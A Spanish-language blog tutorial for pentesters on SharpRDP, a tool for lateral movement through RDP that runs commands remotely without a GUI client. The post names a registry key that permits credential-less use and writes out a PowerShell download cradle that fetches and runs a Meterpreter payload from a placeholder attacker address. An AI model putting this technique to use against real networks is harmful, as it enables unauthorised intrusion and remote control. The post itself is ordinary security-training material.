El movimiento lateral es algo que siempre interesa a un
pentester y a un equipo de
Red Team. Los investigadores buscan nuevas técnicas y nuevas formas de hacerlo. Se puede estar al día en algunos recursos como el
blog de SpecterOps o en
iread.team. Pero sobretodo, lo más interesante es estudiar y poner en práctica en tu propio laboratorio, mirar qué ocurre por debajo, cómo funciona la técnica y cuáles son las detecciones y mitigaciones.
|
Figura 1: SharpRDP: Movimiento lateral con RDP en un Ethical Hacking |
Como dice
el autor de SharpRDP, no es una nueva técnica lo que se va a mostrar aquí, pero si es otra forma de hacer movimiento lateral, y en este caso a través del uso del escritorio remoto o
RDP (Remote Desktop Protocol). La idea que hay detrás de
SharpRDP es llevar a cabo un movimiento lateral a través de un canal
C2 (Command&Control) existente.
Esto es interesante pero, ¿cómo llevarlo a cabo? La explicación que da el investigador 0xthirteen, autor de la herramienta SharpRDP, que se puede descargar desde el Github de la aplicación, es magnífica, ya que se explica cómo utiliza una DLL (Dynamic-Linked Library) del sistema para hacer la ejecución de comandos remotos a través de la autenticación en el sistema.
¿Cómo funciona?
El sistema operativo
Microsoft Windows dispone de una
DLL llamada
mstscax.dll. Esta
DLL da acceso a las acciones que se pueden realizar a través del
RDP. Esta
DLL es utilizada por, seguramente, casi todos los clientes de
RDP. Por ejemplo,
Remote Desktop Connection, que tantas veces se usa en el
Hacking de Windows para
atacar redes de sistemas Microsoft, hace uso de esta librería.
Esta
DLL en concreto es una biblioteca
ActiveX COM para
Terminal Services. Como dice
0xthirteen, esto puede ser utilizado para generar una pequeña aplicación de consola que lleve a cabo la ejecución de comandos remotos de forma autenticada a través del protocolo
RDP sin que se tenga que ejecutar un cliente
GUI o un
Proxy SOCKS.
|
Figura 4: Ejecución de comandos sin GUI vía SharpRDP |
El proyecto
SharpRDP es una pequeña herramienta de consola
.NET, la cual puede ser utilizada, y utilizaremos, para realizar este movimiento lateral. En la
Figura 4, tienes la forma de usar la herramienta.
¿Tiene alguna limitación?
La verdad es que sí y no. Vamos a explicarlo. La herramienta puede utilizar credenciales en texto plano para su autenticación contra la máquina remota. Esto será algo más o menos normal o la situación normal. Puede ser que encontremos que el
host remoto tenga activado el modo de administración restringido, el cual se puede visualizar en la siguiente ruta del registro y con la siguiente clave.
HKLM\System\CurrentControlSet\Control\Lsa
DisableRestrictedAdmin = 0
Si esto es así, se podrá utilizar
SharpRDP en el mismo contexto del usuario actual y no hará falta introducir credenciales en texto plano, y esta máquina será perfecta para movernos lateralmente por la empresa en un
Ethical Hacking.
Vamos a mostrar un ejemplo de la ejecución básica de
SharpRDP. Se recomienda echar un ojo al
"usage" de la herramienta, porque tiene varias opciones interesantes. Lo primero es utilizar la autenticación
RDP desde la consola para ejecutar, por ejemplo, una calculadora sobre la máquina remota.
|
Figura 6: Petición de calc.exe vía SharpRDP |
Como se puede ver en la siguiente imagen siguiente, se obtiene una calculadora. Si la sesión de usuario no está creada, se crea y se ejecuta el código. Si la sesión está creada, el usuario es expulsado de la sesión y se ejecuta el código.
|
Figura 7: Ejecución de calc.exe remoamente |
Hay que decir que
SharpRDP lo estamos ejecutando desde una máquina con
Windows 10. Hay que indicar también que vemos la posibilidad sencilla de ejecutar instrucciones que nos devuelvan una sesión, por ejemplo, de
Meterpreter de nuestro querido
Metasploit o, ¿por qué no? una
iBombshell remota.
A continuación se puede visualizar la instrucción que queremos ejecutar en remoto:
iex(new-object net.webclient).downloadstring(‘http://[ip]:[port]/’). Es decir, se ejecuta una consola
Powershell y ésta genera un objeto de tipo
net.webclient que se conectará una dirección y un puerto.
|
Figura 9: Ejecución remota de PowerShell descargando Meterpreter remotamente |
¿Qué hay en esa dirección
IP y ese puerto? Pues un
Meterpreter que servimos con el módulo
exploit/multi/script/web_delivery.
|
Figura 10: Meterpreter conseguido vía uso de movimiento lateral RDP |
Tras unos segundos de tensión, se obtiene la sesión a través del módulo
web_delivery de
Metasploit para continuar con nuestro trabajo.
Otras situaciones que no maneja SharpRDP
Existen algunas excepciones que nos podemos encontrar con
SharpRDP y que tampoco maneja bien, por ejemplo:
• Autenticación multifactorial: No se maneja la autenticación MFA, por lo que se desconectará SharpRDP.
• Mover archivos: SharpRDP no tiene la posibilidad o capacidad de mover archivos sobre el protocolo RDP.
Una técnica interesante y una herramienta interesante, y bastante moderna como se puede ver en el
Github, apenas tiene un mes. Una solución interesante para llevar en la mochila del
pentester.
Saludos,
Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica. Para consultas puedes usar el Buzón Público para contactar con Pablo González
No hay comentarios:
Publicar un comentario